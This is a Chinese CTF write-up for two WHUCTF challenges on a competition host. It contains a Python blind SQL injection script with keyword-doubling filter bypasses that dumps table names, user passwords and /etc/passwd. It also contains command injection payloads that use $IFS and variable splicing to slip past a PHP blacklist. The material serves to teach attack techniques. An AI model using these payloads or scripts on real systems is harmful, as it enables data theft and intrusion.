文章目录:
作者的github资源:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。网站目前可以访问,后续应该会关闭,初学者可以试试,但切勿破坏。
考点: SQL注入
主界面显示如下图所示:
核心代码如下,采用POST提交请求。
(1) 首先,该题仅一个登陆页面,首先想到的是万能密码登录,比如admin、‘or’=‘or’ 等。
当我们输入admin提示登录失败,并且反馈SQL语句。
Your sql statement is: SELECT password FROM users WHERE username='admin' AND password='admin'
当我们输入 ‘or’=’ 提示登录成功,但没有跳转下一个界面而直接返回登录界面,同时返回的SQL语句看到or被屏蔽了。此时,可能部分同学会疑惑明明登录成功,怎么没返回flag呢?这里并没有成功了。
Your sql statement is: SELECT password FROM users WHERE username=''''='' AND password=''''=''
同时,尝试用户名和密码拼接绕过也没成功。
'or'=' union SELECT 1,database()
'or'='/**/union/**/select/**/1,database()
'oorr'=' union seselectlect 1,database()
这里推荐两篇常规的SQL注入文章:
(2) 作者遇到网站都喜欢扫描目录和端口,但这里也没有好的信息。同时,采用SQLMAP扫描也没有什么成功,如下图所示。
(3) 当SQLMAP等工具不能使用时,需要通过手工找到注入点或进行注入,这里补充一种非常使用的方法,通过Python发送数据包来反弹数据库、表、字段和用户名及密码。
① 获取数据库名称
输出结果如下图所示,通过二分查找获取数据库database()第一位是e,最终获取数据库名称。核心代码如下:
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')
对应的SQL语句为:
简单修改代码,把中间输出的值注释掉,并输出的字符串拼接在一起,最终输出结果如下图所示,数据库为easy_sql1。
② 获取系统密码信息
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')
输出结果如下:
③ 获取数据库表名信息 注意这里是子查询,group_concat()函数将表名连接在一行,采用逗号分隔。
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
输出结果如下,包括f1ag_y0u_wi1l_n3ver_kn0w、users。
④ 获取用户名和密码 本题主要是获取f1ag表中的字段和值,而真实的网站中通常需要获取用户表的信息。
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
输出结果如下,这些用户名和密码均能登录,但登录成功后仍会返回界面。
⑤ 获取f1ag表字段
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
输出结果如下,字段为f111114g。
⑥ 获取f1ag字段对应的值
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
输出结果如下,并获取flag值。
题目+实战总结:
完整代码:
import requests,urllib
import math
from urllib.parse import quote_plus
#代理配置
proxies = {
'http': 'http://127.0.0.1:8888',
'https': 'http://127.0.0.1:8888'
}
proxies = None
#设置消息头
reqHeaders = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3',
'Accept-Encoding': 'gzip, deflate, br'
}
postHeaders = reqHeaders.copy()
postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php'
postHeaders['Content-Type'] = 'application/x-www-form-urlencoded'
#定义网址
url = 'http://218.197.154.9:10011/login.php'
"""发送POST数据"""
#数据库名
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')
#系统密码
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')
#获取表名
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f1ag_y0u_wi1l_n3ver_kn0w,users
#用户名和密码
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#Dumb+Dumb,Angelina+I-kill-you,Dummy+p@ssword,secure+crappy,stupid+stupidity
#获取f1ag字段
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f111114g
#获取对应值
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#WHUCTF{r3lly_re11y_n0t_d1ffIcult_yet??~}
print(postStr)
#设置请求
reqSess = requests.session()
#reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF')
#Current Bit & Max Bits
cb, mb = 1,4096
#采用二分查重匹配字符串
stillLeft = True
while cb < mb and stillLeft:
#ascii of start,middle and end
s,m,e = 0,0,255
while s < e:
sqliStr = postStr.format(cb,m)
#print(sqliStr)
postHeaders['Content-Length']= str(len(postStr))
#print(postHeaders)
currentFailedTimes,maxFailedTimes = 0,10
while currentFailedTimes < maxFailedTimes:
try:
rst = reqSess.post(url,sqliStr,headers=postHeaders,
proxies=proxies,allow_redirects=False,verify=False)
break
except Exception as ex:
if currentFailedTimes > 5:
print('[X]Failed Times:%d'%(currentFailedTimes))
currentFailedTimes += 1
if currentFailedTimes == maxFailedTimes:
exit("Too Much Errors,Going To Stop")
#result is true
if 'Login success' in rst.text:
#print("[v]{}:{}->{}->{}".format(cb,s,m,e))
if e - 1 == m:
m = e
break
s = m
else:
#print("[x]{}:{}->{}->{}".format(cb,s,m,e))
#even > 0 is error,no bits left
if m == 0:
stillLeft = False
break
if e - 1 == m:
break
e = m
m = s + math.ceil((e - s)/2)
if not m == 0:
print(chr(m),end='')
cb += 1
最后补充武大CTF师傅的WP代码,推荐大家学习。
import requests
import string
res = requests.session()
url = 'http://218.197.154.9:10011/login.php'
flag = ''
for j in range(1,200):
for i in string.printable:
# payload = "admin' and if(((substr((seselectlect database()),{},1))='{}'),1,2)=1#".format(j,i)
# payload = "admin' and if((substring((seleselectct database()),{},1)='{}'),1,2)=1#".format(j,i)
# easy_sql1
# payload = "admin' and if((substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),{},1)='{}'),1,2)=1#".format(j,i)
# f1ag_y0u_wi1l_n3ver
# payload = "admin' and if((substring((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'f1ag_y0u_wi1l_n3ver_kn0w'),{},1)='{}'),1,2)=1#".format(j,i)
# payload = "admin' and if((substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1)='{}'),1,2)=1#".format(j,i)
# payload = "admin' and if(ascii(substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1))=ascii('{}'),1,2)=1#".format(j,i)
data = {
"user" : payload,
"pass" : 1
}
content = res.post(url,data=data)
result = content.text
# print(result)
#
if 'success' in result:
flag += i
print(flag)
break
考点: CMD命令绕过
主界面显示如下图所示:
题目代码如下:
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("no space!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no flag");
} else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
die("cat't read flag");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
highlight_file(__FILE__);
?>
看到这类题目,首先想到的是命令执行方法利用管道符或者分号,然后再层层绕过。该题目有三处限制:不能有空格、不能有flag字样,不能有cat等命令。
(1) 利用ip本地地址和ls命令查看目录下文件。
结果:我们看到了flag.php和index.php文件。
(2) 接着利用cat命令读取flag.php内容。
结果:提示我们不能使用空格。
同时以下读取指令被ban。
需要想办法进行绕过。当提示空格被ban,我们可以利用下面的方法进行绕过。
(3) 绕过空格利用cat读取flag文件。
注意:如果cat被禁用,我们需要使用tac反向输出命令,linux命令中可以加\,甚至可以ca\t /fl\ag。
结果:此时提示no flag。
(4) PHP源代码中发现一个变量a,想办法覆盖这个变量,下面代码相当于cat flag.php。
http://218.197.154.9:10016/?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php
此时输出结果如下:
最终在注释部分看到flag值。
题目+实战总结:
?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php
同时给出另两位师傅的绕过payload。
#方法1
?ip=127.0.0.1;a=g;ca$@t$IFS$1fla$a.php
#方法2
url='http://218.197.154.9:10016?ip=127.0.0.1;ls$IFS-l;b=c;n=a;m=t;o=g;p=a;q=l;r=f;s=i;$b$n$m$IFS$r$q$p$o.php'
r =requests.get(url)
print(r.text)
推荐及参考文章:
希望这篇文章对你有所帮助,这是CTF基础题目,2020年5月第一次参加CTF比赛写的。这半年来,原创博客越来越少,希望自己能在博士路上不断前行,多读论文,多写论文,多学新知识。加油~也祝所有在读博士都学有所成,勿忘来时的路,砥砺前行。晚安娜~
CTF初学者个人建议: